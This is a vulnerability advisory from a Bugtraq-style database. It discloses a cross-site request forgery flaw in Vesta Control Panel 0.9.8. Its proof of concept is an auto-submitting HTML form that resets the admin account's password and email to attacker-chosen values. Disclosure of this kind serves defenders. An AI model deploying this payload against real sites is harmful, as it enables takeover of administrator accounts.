Vesta Control Panel Cross Site Request Forgery Vulnerability

BID:74830

Info

Vesta Control Panel Cross Site Request Forgery Vulnerability

Bugtraq ID: 74830
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: May 25 2015 12:00AM
Updated: May 25 2015 12:00AM
Credit: Ben khlifa Fahmi
Vulnerable: Vesta Vesta Control Panel 0.9.8
Not Vulnerable:

Discussion

Vesta Control Panel Cross Site Request Forgery Vulnerability

Vesta Control Panel is prone to a cross-site request-forgery vulnerability because the application fails to properly validate HTTP requests.

An attacker can exploit this issue to perform unauthorized actions in the context of a logged-in user of the affected application. This may aid in other attacks.

Exploit / POC

Vesta Control Panel Cross Site Request Forgery Vulnerability

To exploit this issue an attacker must entice an unsuspecting victim to open a malicious URI.

The following exploit code is available:

<html>
<head><title>Victim will redirect auto</title></head>
<body onload="document.forms[0].submit()">
<form>
<form id="vstobjects" method="post" name="v_edit_user" action="https://www.example.com/edit/user/?user=admin">
<input type="hidden" name="v_user" value="admin" >
<input type="hidden" name="v_username" value="admin">
<input type="hidden" name="v_password" value="[hacker pass]">
<input type="hidden" name="v_email" value="[hacker mail]">
<input type="hidden" name="v_package" value="default" />
<input type="hidden" name="v_language" value="ar" />
<input type="hidden" name="v_fname" value="System">
<input type="hidden" name="v_lname" value="Administrator">
<input type="hidden" name="v_shell" value="bash" />
<input type="hidden" value="ns1.localhost.ltd">
<input type="hidden" value="ns2.localhost.ltd">
<input type="hidden" name="v_ns3">
<input type="hidden" name="v_ns4">
<input type="submit" class="button" name="save" value="Save">
</form>
</body>
</html>

Solution / Fix

Vesta Control Panel Cross Site Request Forgery Vulnerability

Solution:
Currently, we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

References

Vesta Control Panel Cross Site Request Forgery Vulnerability

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